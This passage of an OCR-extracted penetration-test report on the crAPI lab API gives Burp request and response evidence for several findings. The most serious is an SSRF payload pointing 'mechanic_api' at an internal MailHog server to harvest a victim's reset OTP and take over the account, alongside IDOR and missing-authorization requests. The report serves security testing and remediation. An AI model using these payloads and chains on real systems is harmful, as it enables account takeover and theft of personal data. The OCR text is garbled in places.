Affected URL: http://127.0.0.1:8888/identity/api/auth/v2/check-otp (Password Reset OTP - legacy)

a. The team called the current OTP verification endpoint /identity/api/auth/v3/check-otp, which
responded.
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[ ] Burp Suite — Repeater

Versi saat ini: v3/check-otp Send P hitp//127.0.0.1:8888

Request Response -

POST /identity/api/auth/ eck-ot & Server: openresty/1.27.1.2

Host: 127.0.0 -Type: application/json
Content-Type: application/json Content-Length: 58

{"email": "otp":"0000","
age': "Invalid OTP! Please try again..",
: 500

» Versi terbaru endpoint verifikasi OTP (v3) aktif.

Figure 15 - Improper Inventory Management — Deprecated OTP Endpoint (v2) Still Live (API9) - http://127.0.0.1:8888/
identity/api/auth/v2/check-otp (Password Reset OTP - legacy) (Grey-box) - current version v3

b. The team called the older /identity/api/auth/v2/check-otp, which is still live and responds, showing a
deprecated version was not retired.

[ ] Burp Suite — Repeater
EXPLOIT: versi LAMA v2 masih hidup Send b http://127.0.0.1:8888

Request Response -

bagian yang normal flow
HTTP/1.1 500
POST /identity/api/auth/lv2)/check-otp HTTP/1.1 S openresty/1.27.1.2
Host: 127.0.0 88

Content-Type: application/json

» DAMPAK: versi LAMA v2/check-otp masih aktif berdampingan dengan v3 -> memperluas attack surface & versi lama bisa punya proteksi berbeda/lebih lemah.

Figure 16 - Improper Inventory Management — Deprecated OTP Endpoint (v2) Still Live (API9) - http://127.0.0.1:8888/
identity/api/auth/v2/check-otp (Password Reset OTP - legacy) (Grey-box) - old v2 still live
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3.1.6 Broken Object Property Level Authorization (API3) - Mass Assignment on
User Registration

RESULT CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS TESTED

—rass [ o cwests

Standard mapping API13:2023 Broken Object Property Level Authorization (OWASP API Security Top 10 2023)

Affected feature / URL http://127.0.0.1:8888/identity/api/auth/signup (User Registration)

Testing approach Grey-box

Result PASS — Keep the current allow-list of client-settable fields at registration.
DESCRIPTION

The registration endpoint was tested for mass assignment by injecting privileged fields (role=admin,
isAdmin=true) into the signup body. The server ignored the privileged fields, so no privilege escalation
occurred.

EVIDENCE
Affected URL: http://127.0.0.1:8888/identity/api/auth/signup (User Registration)

a. The team registered an account using only standard fields (name, email, number, password), which
returned HTTP 200.

[ ) Burp Suite — Repeater

NORMAL: registrasi standar Send P http://127.0.0.1:8888

Request Response -

POST /identity/api/auth/signup HTTP/1.1 HTTP/1.1 403

Host: 127.0.0.1:8888 Server: openresty/1.27.1.2

Content-Type: application/json Content-Type: application/json
Content-Length: 71

{"name":"MassAssign Tester","email":"massassign_9430@example.com","number":"+19990

111","password":"P@ssword1l"}

» NORMAL FLOW: registrasi dengan field standar (tanpa role).

Figure 17 - Mass Assignment on User Registration (API3) - http://127.0.0.1:8888/identity/api/auth/signup (User
Registration) (Grey-box) - Normal flow: standard registration

b. The team registered again, this time injecting role=admin and isAdmin=true into the body, which also
returned HTTP 200.
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[ ) Burp Suite — Repeater

EXPLOIT: sisipkan role=admin http:/127.0.0.1:8888

Request Response -

yang
HTTP/1.1 403
POST /identity/api/auth/signup HTTP/1.1 Server: openresty/1.27.1.2

Host: 127.0.0.1:8888 Content-Type: application/json
Content-Type: application/json Content-Length: 71

{"name":"MassAssign Teste A massassign_1511@example.com", " number":"+19990 {
222", "password":"P@ssword i isAdmin":true} "message": "Number already registered! Number: +19990222",
"status": 403
}

» PERCOBAAN EKSPLOITASI: menyisipkan field privil rol in & i i pada body signup.

Figure 18 - Mass Assignment on User Registration (API3) - http://127.0.0.1:8888/identity/api/auth/signup (User
Registration) (Grey-box) - Attempt: inject privileged fields role/isAdmin

c. The team logged in with that account and decoded the JWT; the role remained "user", proving the
privileged fields were ignored (control effective).

[ ] Burp Suite — Repeater
HASIL: role diabaikan (PASS) Send P> http://127.0.0.1:8888

Request Response -

POST /identity/api/auth/login HTTP/1.1 HTTP/1.1 401

Host: 127.0.0.1:8888 Server: openresty/1.27.1.2

Content-Type: application/json Content-Type: application/json
Content-Length: 88

{"emai assassign_1511@example.com","password":"P@sswdrdl"}

: "Given Email is not registered! "
"mfaRequired": false
}

# IWT payload —> |role: "user") (BUKAN admin)

» KONTROL BERJALAN (PASS): login akun tsb menunjukkan role="user"; field pri

ged diabaikan server. itasi GAGAL, CIA tidak terlanggar.

Figure 19 - Mass Assignment on User Registration (API3) - http://127.0.0.1:8888/identity/api/auth/signup (User
Registration) (Grey-box) - Result: role stays user, control effective
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3.1.7 Broken Object Level Authorization (API1) - Missing Authentication Check on
Vehicle Location (Unauthenticated Access)

RESULT CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS TESTED

s [ o cwesos

Standard mapping API1:2023 Broken Object Level Authorization (OWASP API Security Top 10 2023)

Affected feature / URL http://127.0.0.1:8888/identity/api/v2/vehicle/{vehicleld}/location (Vehicle Location)
Testing approach Grey-box

Result PASS — Keep authentication mandatory; also add object-ownership checks (see the

related FAIL finding).

DESCRIPTION

The vehicle location endpoint was tested for unauthenticated access by sending the request without
any token. The server required authentication and rejected the request.

EVIDENCE
Affected URL: http://127.0.0.1:8888/identity/api/v2/vehicle/{vehicleld}/location (Vehicle Location)

a. The team accessed its own vehicle location with a valid token, which returned HTTP 200 (normal
flow).

[ ] Burp Suite — Repeater
NORMAL: lokasi kendaraan sendiri (auth) Send P> http://127.0.0.1:8888

Request Response -

GET /identity/api/v2/vehicle/9b3ce26b-d797-404b-a961-09d7e45e@d1b/location HTTP/1. HTTP/1.1 200

il S openresty/1.27.1.2
Host: 127. 8 ~Type: application/json
Author H Content-Length: 177

i0jE30TA20TA3MTQsImV4cCIBMTcSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM

{
"9b3ce26b-d797-404b-a961-09d7e45e0d1b" ,
ciCnp-6Vm xf7q53AWiZ1Zq9d3kbDiHAVN697pn2czd98QQdK2E-DCQSYt8K8PLFR11aaB03gDeIv2HF]— cation": {
4,
"latitud
"longitude"
}H
"fullNamr"« "Mk
"email":
}

» NORMAL FLOW: akses lokasi kendaraan sendiri dengan token valid -> 200.

Figure 20 - Missing Authentication Check on Vehicle Location (Unauthenticated Access) (API1) - http://127.0.0.1:8888/
identity/api/v2/vehicle/{vehicleld}/location (Vehicle Location) (Grey-box) - Normal flow: own vehicle location with
token

b. The team re-sent the request with the Authorization header removed. The server responded HTTP
401, confirming the authentication control is effective.
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[ ) Burp Suite — Repeater

EXPLOIT: tanpa token (ditolak) Send P

Request

yang

GET /identity/api/v2/vehicle/9b3ce26b-d797-404b-a961-09d7e45e@d1b/location HTTP/1

1
Host: 127.0.0.1:8888
Accept: application/json

# HEADER Authorization SENGAJA DIHAPUS

CONFIDENTIAL

http://127.0.0.1:8888

Response

HTTP/1.1 401
Server: openresty/1.27.1.2

Content-Type: application/json;charset=IS0-8859-1
Content-Length: 49

CRAPIResponse(message=Invalid Token), status=401)

» PERCOBAAN EKSPLOITASI: akses tanpa token -> 401. KONTROL AUTENTIKASI BERJALAN (PASS). (BOLA tetap terjadi via token user lain - lihat [FAIL].)

Figure 21 - Missing Authentication Check on Vehicle Location (Unauthenticated Access) (API1) - http://127.0.0.1:8888/
identity/api/v2/vehicle/{vehicleld}/location (Vehicle Location) (Grey-box) - Attempt blocked: no token returns 401
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I 3.1.8 Broken Authentication (API2) - Password Reset OTP Per-Session Lockout

RESULT CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS TESTED

rass [ o cwesor

Standard mapping API2:2023 Broken Authentication (OWASP API Security Top 10 2023)

Affected feature / URL http://127.0.0.1:8888/identity/api/auth/v3/check-otp (Password Reset OTP)

Testing approach Grey-box

Result PASS — Make the lockout persistent per account so it cannot be reset via a new OTP

request (see the related FAIL finding).

DESCRIPTION

Brute-forcing the OTP within a single OTP session was tested. The verification endpoint locked after 9
wrong attempts, so per-session brute-force failed on this path.

EVIDENCE
Affected URL: http://127.0.0.1:8888/identity/api/auth/v3/check-otp (Password Reset OTP)

a. The team submitted one wrong OTP to check-otp, which returned Invalid OTP (normal single
attempt).

@ Burp Suite — Repeater
NORMAL: satu percobaan OTP Send P http://127.0.0.1:8888

Request Response

= kotak merah flow
HTTP/1.1 500
POST /identity/api/auth k-otp HTTP/1.1 Server: openresty/1.27.1.2

Host: 127.0.0.1:8888 Co nt-Type: application/json

Content-Type: application/json Content-Length: 58

{"email": ,("otp":"9001" ), "password":"x"} {
"Invalid OTP)! Please try again..",
00

» NORMAL FLOW: satu percobaan OTP salah -> Invalid OTP.

Figure 22 - Password Reset OTP Per-Session Lockout (API2) - http://127.0.0.1:8888/identity/api/auth/v3/check-otp
(Password Reset OTP) (Grey-box) - Normal flow: one wrong OTP attempt

b. The team repeated the attempts; on the 10th attempt the endpoint locked with HTTP 503 "You've
exceeded the number of attempts", confirming the per-session control is effective.
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[ ] Burp Suite — Repeater

EXPLOIT: brute-force -> lockout (PASS) Send P http:/127.0.0.1:8888
Request Response -

POST /identity/api/auth/v3/check-otp HTTP/1.1
Host: 127.0.0.1:8888

Content-Type: application/json

HTTP/1.1 503
Ser openresty/1.27.1.2

Content-Type: application/json
Content-Length: 66

: "'You've exceeded the number of attempts.",
503

» PERCOBAAN EKSPLOITASI: brute-force OTP dalam satu sesi. KONTROL BERJALAN (PASS): setelah 9 percobaan, lockout memicu (503 exceeded attempts). (Bypass via forget-password ada di [FAIL].)

Figure 23 - Password Reset OTP Per-Session Lockout (API2) - http://127.0.0.1:8888/identity/api/auth/v3/check-otp
(Password Reset OTP) (Grey-box) - Attempt blocked: lockout triggers at attempt 10
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3.2 crAPlI Workshop Service (http://127.0.0.1:8888/workshop)

3.2.1 Server Side Request Forgery (AP17) - Server-Side Request Forgery (SSRF) via
Contact Mechanic — Internal MailHog — Account Takeover

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS

Critical 9.6 /0 Yes CWE-918
Standard mapping API17:2023 Server Side Request Forgery (OWASP API Security Top 10 2023)
Impact rating Critical
Bugcrowd VRT P1 - Server-Side Request Forgery (SSRF) (VRT 1.9)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Affected feature / URL http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic)
Testing approach Grey-box
DESCRIPTION

The contact_mechanic endpoint accepts a full URL in the mechanic_api parameter and performs a
server-side HTTP request to it, reflecting the response. An attacker can point it at INTERNAL services
that are not exposed publicly. Escalated: the SSRF was aimed at the internal MailHog mail server
(mailhog:8025) to read every user's email, harvest a victim's password-reset OTP, and reset the victim's
password — achieving account takeover.

IMPACT

Critical (Confidentiality + Integrity). The SSRF reads the entire internal mail inbox (MailHog, 45 emails)
including other users' password-reset OTPs/tokens, which are then used to take over any account
whose email is known — without knowing the victim's credentials. During testing the team read the
victim's OTP and logged in as the victim.

RECOMMENDATION

1. Do not accept arbitrary URLs from the client; use an allow-list of legitimate mechanic endpoints.

2. Block internal schemes, IP ranges (loopback, RFC1918) and internal service hostnames (e.g.,
mailhog, crapi-identity).

3. Do not reflect raw upstream responses to the client.

4. Network-segment internal services (MailHog, actuator) so URL-consuming services cannot reach
them.

REFERENCES
* VRT 1.9 - Server-Side Request Forgery
* https://owasp.org/API-Security/editions/2023/en/0xa7-server-side-request-forgery/
* https://cwe.mitre.org/data/definitions/918.html
* https://bugcrowd.com/vulnerability-rating-taxonomy

EVIDENCE

Affected URL: http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic)
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CONFIDENTIAL
a. The team logged into crAPI. The Dashboard exposes a 'Contact Mechanic' feature that triggers a

server-side call to the mechanic API tested below.

CrAPI Dashboard  Shop

Community

Good Morning, Muhammad Fagih! @ Muhammad ... ¥

Vehicles Details

COMPANY

BMW
MODEL 5 Series
FUEL TYPE PETROL
YEAR : 2026

- @) Hope Well Muse

%
%
2
| ' *
: Contracting ]
Corporation

Houston™" =
Hardee 3

i\ RS | _ 5 &3

Fords Mill Rd Fords M H O Tractor Supply.Co - g%
N % o 3 N
@ N, cypressS o 5 SR G

“(weE* [ s Google % 2 L]

aae?® Iz _
C Refresh Location

Keyboard shortcuts Map data ©2026 Terms  Report a map eror

Talk to me! @ .

Figure 24 - Server-Side Request Forgery (SSRF) via Contact Mechanic — Internal MailHog — Account Takeover (API7) -
http://127.0.0.1:8888 (Grey-box) - crAPI Dashboard with the 'Contact Mechanic' feature (browser)

b. The team sent contact_mechanic with a legitimate mechanic_api; the workshop performed the
server-side request and reflected its response (normal behavior).

[} Burp Suite — Repeater

NORMAL: contact mechanic Send b

Request

http://127.0.0.1:8888
Response -

POST /workshop/api/merchant/contact_mechanic HTTP/1.1
Host: 127.0.0.1:8888

Author: on

HTTP/1.1 200 0K

Server: openresty/1.27.1.2
arer eyJhbGci0ilSUzIINiJ9.eyJzdWIi0imYXFpaEBnbWFpbC5jb20il CIpYXQ Content-Type: application/json
10jE30TA20TA3MTQsImV4cCIBMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrVvM Content-Length: 270
WSgX1XkvyP_: CNs40s@BwWNFP6m15JkS_gAyFmcPJ9MqhN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF
PlhalYV7A4h 9sQNFyFwh1GXTSpSE5VNGzMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPeyl1G {
ciCnp-6Vm_xf7g53AWjZ1Zg9d3kbDjHAVI pn2czd98QQdK2E-DCQSy t8K8PLFR11qqB03gDeIv2HF]- "response_from_mechanic_api”: {
R-eds9QfnoeCUUk4BPBcND7BbqTFVVX6FUVX—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g "mechanics": [

{
"mechanic_ap. "id": 1,
umber_of_repeats": 1, "

{"mechanic_code": "TRAC_JHN", "problem_deta
ttp://127.0.0.1:8888/wor

"mobil rusak",
hop/api/mechanic/",
9NB3CL6ZEA9X1"}

"mechanic_code": "TRAC_JHN",

@example.com",

"mechanic_code": "TRAC_JME",
"user": {

"email' @example.com",
"numbe

}
I

1

"previous_offset": null,
"next_offset": null
h

"status": 200

}
» NORMAL FLOW: workshop mechanic AP (;

de) dan

Figure 25 - Server-Side Request Forgery (SSRF) via Contact Mechanic — Internal MailHog — Account Takeover (API17) -
http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic) (Grey-box) - normal: server
fetches mechanic API
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c. The team set mechanic_api to the internal MailHog server (http://mailhog:8025/api/v2/messages),
which is NOT reachable from outside. The workshop fetched it and returned the entire mail inbox (all

45 emails of all users).

[ ] Burp Suite — Repeater

EXPLOIT: SSRF -> MailHog internal

Send >

Request

= kotak merah = bagian ari normal

POST /workshop/a
Host: 127.0.0.1:
Authorization: Bearer
107E30TA20TA3MTQsImV4cCIGMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8aLrvM

ant/contact_mechanic HTTP/1.1

{"mechanic_code": "TRAC_JHN", "problem_details": "mobil rusak", "mechanic_api": "{h

ttp://mailhog:8025/api/v2/messages|', "number_of_repeats": 1, "vin": "861PINB3CL6ZE

A9X1"}

http://127.0.0.1:8888

Response -

HTTP 200
{
"response_from_mechanic_api":
"total": 58),
"count": 50,
"items_shown":

"To:

"Subject: ~crara vir

"To": "couponpass_6148@example.com",
"Subject": "Welcome to crAPI"

# CATATAN: MailHog internal (mailhog:8025) TIDAK terekspos ke luar; SSRF membaca S
ELURUH 58 email semua user.

» EKSPLOITASI: mechanic_api diarahkan ke MailHog internal (mailhog:8025) -> membaca SELURUH inbox email seluruh pengguna (tak terjangkau dari luar).

Figure 26 - Server-Side Request Forgery (SSRF) via Contact Mechanic — Internal MailHog — Account Takeover (API17) -
http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic) (Grey-box) - SSRF reads internal
MailHog inbox (45 emails)

d. The team pointed mechanic_api at MailHog's search for the victim's address and read the victim's
password-reset email, harvesting the 4-digit OTP — with no access to the victim's account.

[ ] Burp Suite — Repeater

EXPLOIT: panen OTP korban Send P

Request
srah = bagian yang diubah dari normal flow

POST /workshop/api/merchant/contact_mechanic HTTP/1.1

Host 27.0.0.1:

Authorization: Bearer

i07E30TA20TA3MTQSIMVACLLOMICOMI LON I UXNLWLCMYSLS1bLINVZZXL1TY. QLVELYKNNGLYSYOVEQLIVM

{"mechanic

code": "TRAC JHN". "problem details": "mobil rusak". "mechanic_api"

"number_of_

TS™: 1, “VINTi TBOLPYNDSLLOLEAYAL }

http:/127.0.0.1:8888

Response -

HTTP 200

# Email OTP korban (Raw.Data) hasil SSRF ke MailHog:

Date: Tue, 29 Sep 2026 14:05:35 +0000 (UTC)
From: no-reply@example.com
To:
Message-ID: <1585033080.57.1790690735293@4f2ddf916d38>
Subje
MIME-Ver
~Type: text/html; charset=us-ascii
tent-Transfer-Encoding

<table border='0" ' class='btn bt
align: cellspacing="'0
td> </td><td>Your one time generated |otp is: 9899k/td></tr></tabl:
ble>

cente
</tr></ta

» EKSPLOITASI: SSRF membaca email reset-password KORBAN di MailHog -> OTP 4-digit (9899) ter-panen tanpa akses ke akun korban.

Figure 27 - Server-Side Request Forgery (SSRF) via Contact Mechanic — Internal MailHog — Account Takeover (API17) -
http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic) (Grey-box) - harvest victim OTP
via SSRF

e. The team submitted the harvested OTP to /identity/api/auth/v3/check-otp, which returned 'OTP

verified' and reset the victim's password.
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[ ] Burp Suite — Repeater

CHAIN: reset password korban Send > http://127.0.0.1:8888

Request Response -

= kotak merah = bag diubah dari normal

HTTP/1.1 200
POST /identity/api/auth/v3/check-otp HTTP/1.1 Server: openresty/1.27.1.2
Host: 127.0.0.1:8888 Content-Type: application/json
Content-Type: application/json Content-Length: 39

{"email": ,\"otp":"9899" ), "password":"Pwned_By_SSRF_123!"}
: "OTP verified)',

» CHAIN: OTP hasil panen SSRF dipakai untuk reset password KORBAN -> 'OTP verified' (password korban diubah oleh penyerang).

Figure 28 - Server-Side Request Forgery (SSRF) via Contact Mechanic — Internal MailHog — Account Takeover (API17) -
http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic) (Grey-box) - reset victim
password with harvested OTP

f. The team logged in as the victim with the new password and obtained a valid Bearer token — full
account takeover (Confidentiality + Integrity).

[ ] Burp Suite — Repeater
DAMPAK CIA: ATO login korban Send P http://127.0.0.1:8888

Request Response -

= kotak merah = bagian yang diubah dari normal flow

HTTP/1.1 200
POST /identity/api/auth/login HTTP/1.1 Si openresty/1.27.1.2
Host: 127.0.0.1:8888 Content-Type: application/json
Content-Type: application/json Content-Length: 540

{"email™: "password":'{Pwned_By_SSRF_123!]'} {

{

N7KWNZMZLCJ LeHALUTE3SU I EYUIUIMZYSLNJVDGULULILCZVYLNY. LYOCKLLNHI Z55I4SPaPE LESUMYYLTZ

I_G6PNT_NVj661uBhp282q2z17STTHqOWrDUEG2saq9vgNw5_nhK2gKWgLSHieV_1P4jdZmcErimignXgu
1UCzsej9fu2FsCWge5R4-KSCS0Ok2hHeSjopticTiGfHQSz4q2YQIA",
earer",
"Login successful",
'mfaRequired": false

» DAMPAK CIA: login sebagai KORBAN dengan password baru BERHASIL (token diterbitkan) -> Account Takeover penuh. Confidentiality + Integrity.

Figure 29 - Server-Side Request Forgery (SSRF) via Contact Mechanic — Internal MailHog — Account Takeover (API17) -
http://127.0.0.1:8888/workshop/api/merchant/contact_mechanic (Contact Mechanic) (Grey-box) - login as victim —
Account Takeover
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3.2.2 Broken Function Level Authorization (API5) - Unauthenticated Access to
Order Details

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS

m 7.5 1 Yes CWE-306

Standard mapping API15:2023 Broken Function Level Authorization (OWASP API Security Top 10 2023)
API1:2023 Broken Object Level Authorization (OWASP API Security Top 10 2023)

Impact rating High
Bugcrowd VRT P2 - Broken Access Control (BAC) (VRT 3.6)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:N/A:N
Affected feature / URL http://127.0.0.1:8888/workshop/api/shop/orders/{order_id} (Order Details)
Testing approach Grey-box
DESCRIPTION

An access-control vulnerability was found in the shop service. The endpoint that returns order details
does not require authentication, and the order_id is sequential and easily enumerable. Any anonymous
party can iterate order identifiers and read every customer's order.

IMPACT

Attackers can use this vulnerability to harvest the PIl of all customers (email, phone number, products,
status), including the administrator account, without any credentials. During testing, the team retrieved
order details belonging to admin@example.com with no authentication (Confidentiality).

RECOMMENDATION

1. Require authentication on the order endpoint and verify that the order belongs to the caller.
2. Replace sequential order IDs with non-guessable UUIDs.
3. Enforce centralized authorization across all workshop endpoints.

REFERENCES

* VRT 3.6 - Broken Access Control
* https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/
* https://cwe.mitre.org/data/definitions/306.html
* https://bugcrowd.com/vulnerability-rating-taxonomy
EVIDENCE
Affected URL: http://127.0.0.1:8888/workshop/api/shop/orders/{order_id} (Order Details)

a. The team logged into crAPl and opened the 'Past Orders' page, which exposes the 'Order Details'
feature backed by the vulnerable API tested below.
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crAPI Dashboard Shop Community

Good Morning, Muhammad Fagih! @ Muhammad ... ¥

< Past Orders

-
Seat Wheel
$10.00 $10.00
Mon Sep 28 2026 Mon Sep 28 2026

Order Details Order Details

Talk to me! @ .

Figure 30 - Unauthenticated Access to Order Details (API5) - http://127.0.0.1:8888 (Grey-box) - crAPI Past Orders page
with 'Order Details' (browser)

b. The team requested an order detail using a valid authentication token, which returned HTTP 200
(normal, expected behavior).

[ ] Burp Suite — Repeater
NORMAL: akses order ber-autentikasi Send > hitp://127.0.0.1:8888

Request Response -

HTTP/1.1 200 0K
Serv enresty/1.27.1.2
XFpaEBNbWFpbC5jb20iLCIpYXQ  Content-Ty application/json
M Content-Length: 545

e00fb0d2541",

elc-4e00bad2541",

» NORMAL FLOW: mengakses detail order dengan token autentikasi yang valid -> 200.

Figure 31 - Unauthenticated Access to Order Details (API5) - http://127.0.0.1:8888/workshop/api/shop/orders/
{order_id} (Order Details) (Grey-box) - Normal flow: authenticated order request

. The team re-sent the same request with the Authorization header removed entirely. The server still

returned HTTP 200 and disclosed the order owner's Pll (admin@example.com), confirming missing
authentication (Confidentiality).
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[ Burp Suite — Repeater
EXPLOIT+CIA: tanpa token Send >

Request

i/shop/orders/5 HTTP/1.1
888
Accept: application/json

# HEADER Authorization SENGAJA DIHAPUS (tanpa autentikasi apa pun)

CONFIDENTIAL

http://127.0.0.1:8888

Response -

HTTP/1.1 200

Server: openri

Content-Type: application/json
Content-Length: 545

{

: '{admin@example. con)',
9010203040"

"image_url": "images/seat.svg"
"quantity": 2,
“status": "delivered",
“transaction_id": "0da10365-9
“created_on":

card_number' X

“card_owner_nanme"

» DAMPAK CIA: TANPA header Authorization pun server mengembalikan order lengkap -> Confidentiality: email & nomor telepon customer (akun admin@example.com) bocor ke publik.

Figure 32 - Unauthenticated Access to Order Details (API5) - http://127.0.0.1:8888/workshop/api/shop/orders/

{order_id} (Order Details) (Grey-box) - Exploit: no auth, Pll disclosed
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3.2.3 Broken Function Level Authorization (API5) - Broken Function Level
Authorization — Management Endpoint Exposes All Users

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS
Medium 6.5 /0 Yes CWE-285
Standard mapping API15:2023 Broken Function Level Authorization (OWASP API Security Top 10 2023)

API13:2023 Broken Object Property Level Authorization (OWASP API Security Top 10 2023)

Impact rating High
Bugcrowd VRT P2 - Broken Access Control (BAC) (VRT 3.6)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UL:N/S:U/C:H/I:N/A:N
Affected feature / URL http://127.0.0.1:8888/workshop/api/management/users/all (User Management)
Testing approach Grey-box
DESCRIPTION
The management endpoint /workshop/api/management/users/all -- intended for administrators -- is

accessible to any authenticated regular user (role=user) and returns data for all application users.
IMPACT

Any regular user can dump the PIl of all users (email, phone number, credit). Function-level
authorization is not enforced, exposing the whole user base.

RECOMMENDATION

1. Enforce role-based authorization (verify role=admin server-side) on all management/administrative
endpoints.

2. Do not rely on the absence of a Ul link as access control.

3. Minimize the data returned.

REFERENCES

* VRT 3.6 - Broken Access Control
* https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/
* https://cwe.mitre.org/data/definitions/285.html
* https://bugcrowd.com/vulnerability-rating-taxonomy
EVIDENCE
Affected URL: http://127.0.0.1:8888/workshop/api/management/users/all (User Management)

a. The team accessed its own dashboard with a normal user token, which returned only the attacker's
own account (id=8).
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[ ] Burp Suite — Repeater
NORMAL: data milik sendiri Send > http://127.0.0.1:8888

Request Response

GET /identity/api/v2/vehicle/vehicles HTTP/1.1 HTTP/1.1 200
Host: 127.0.0.1:8888 Server: openresty/1.27.1.2

Authorization: Bearer eyJhbGci0ilSUzIINiJ9.eyJzdWIi0iJmYXFpaEBnbWFpbC5jb20ilCIpYXQ  Content-Type: application/json

10jE30TA20TA3MTQs ImV4cCIGMTCSMTISNTUXNCWicm9sZSI6InVZzZXIifQ. qiVELYKhnGZYsQoV8gLrVM  Content-Length: 368
WSqX1XkvyP_8xBeCNs40s0BwNFP6m15IkS_gAyFmcPI9MghN_4BCGuoIQ71mzzqWAUPd29NImLh170aiYF
PlhalYV7A4h7XGY9sQNFyFwh1GXTSpSESVNGZMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7g53AWjZ12g9d3kbDjHAVN697pn 80QdK2E-DCQSy t8K8PLFR11qqBO3gDeIv2HFI—
R-eds9QfnoeCUUk4BPBCND7BbqTFVVXEFUVX-A_1sIe8KMGNS L10P6zcDsSmQFMHMubilsdv7g

"'861PINB3CL6ZEAIX1L",
: 2026,
INACTIVE",

wners": [],

“fuel_type"
“vehicle_ images/bmw-5. jpg",
"vehiclecom {

"vehicleLocation": {
"id": 4,
"latitude": "38.206348",
"longitud 270172"
}
“owner": null
¥

1

» NORMAL FLOW: user biasa (role=user) hanya melihat data miliknya sendiri.

Figure 33 - Broken Function Level Authorization — Management Endpoint Exposes All Users (APIS5) - http://
127.0.0.1:8888/workshop/api/management/users/all (User Management) (Grey-box) - normal: own account only

b. The team accessed the management endpoint /workshop/api/management/users/all with the SAME
normal user token; it returned HTTP 200 with the PII of all 16 users (emails, phone numbers, credit).

Figure 34 - Broken Function Level Authorization — Management Endpoint Exposes All Users (API5) - http://
127.0.0.1:8888/workshop/api/management/users/all (User Management) (Grey-box) - exploit: dump all users' Pll

Prepared by Muhammad Fagih 39



VAPT Technical Report - crAPI (Lab) CONFIDENTIAL

3.2.4 Broken Object Level Authorization (API1) - Broken Object Level
Authorization (IDOR) on Mechanic Reports

SEVERITY CVSS V3.1 BASE SCORE EXPLOITED WEAKNESS
Medium 6.5 /0 Yes CWE-639
Standard mapping API1:2023 Broken Object Level Authorization (OWASP API Security Top 10 2023)

API13:2023 Broken Object Property Level Authorization (OWASP API Security Top 10 2023)

Impact rating High
Bugcrowd VRT P2 - Insecure Direct Object References (IDOR) (VRT 3.3)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UL:N/S:U/C:H/I:N/A:N
Affected feature / URL http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id={id}
(Mechanic Report)
Testing approach Grey-box
DESCRIPTION

A Broken Object Level Authorization vulnerability was found in the mechanic report endpoint. It accepts
a sequential report_id and returns service reports belonging to other users, including vehicle VIN and
owner email, without verifying any relation to the caller.

IMPACT

Attackers can use this vulnerability to read cross-user service data. During testing, the team
enumerated report_id values and disclosed the VIN and owner email of other users' vehicles
(Confidentiality).

RECOMMENDATION

1. Verify the requested report_id is associated with the calling user/mechanic.
2. Use UUIDs instead of sequential identifiers.
3. Return only the minimum necessary fields.

REFERENCES

* VRT 3.3 - Insecure Direct Object References

* https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
* https://cwe.mitre.org/data/definitions/639.html

* https://bugcrowd.com/vulnerability-rating-taxonomy

EVIDENCE

Affected URL: http://127.0.0.1:8888/workshop/api/mechanic/mechanic_report?report_id={id}
(Mechanic Report)

a. The team read the report at report_id=1 as a reference, which returned HTTP 200.
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[ ] Burp Suite — Repeater

NORMAL: report_id=1 (referensi) Send > http://127.0.0.1:8888

Request Response

ri normal flow

HTTP/1.1 200 0K

Ser openresty/1.27.1.2
Content-Type: application/json
Content-Length: 479

GET /workshop/api/mechanic/mechanic_report?report_id=1| HTTP/1.1

Host: 127.0.0.1:8888

Authorization: Bearer eyJhbGci0iJSUzIINiJ9.eyJzdWIi0iJmYXFpaEBnbWFpbC5jb20ilCIpYXQ
10jE30TA20TA3MTQsImV4cCIBMTCSMTISNTUXNCwicm9sZSI6InVzZXIifQ.qiVE1YKhnGZYsQoV8qLrvM
WSqX1XkvyP_8xBeCNs40s@BwNFP6m15JkS_qAyFmcPJ9MghN_4BCGuoIQ71mzzqWAUPd29N9mLh170aiYF {
PlhalYV7A4h7XGY9sQNFyFwh1GXTSpSE5VNGZzMBGVb_QXNoeabnuvIWne rN6wlkLLOVEKMIVtAKEUPey1G
ciCnp-6Vm_xf7g53AWjZ1Zg9d3kbDjHAVNG97pn2czd98QQdK2E-DCQSYt8KSPLFR11qqB03gDeIv2HF I~
R-eds9QfnoeCUUk4BPBCND7BbqTFVVX6FUVx—A_1sIe8KmGNS110P6zcDsSmQFMHmubilsdv7g

“TRAC_JHN",

'jhon@example. con”,

Gl mple.com",
''9876570001"

"problem_details": "My car BMW - 5 Series is having issues.\nCan you give me a c
all on my mobile 9876570001,\n0r send me an email at robot@@l@example.com\nThank
s, \nRobot.\n

“created_on": "28 September, 2026, 14:28:07",

"updated_on": null,
"comments": []

» NORMAL FLOW: membaca laporan servis pada report_id=1 (referensi).

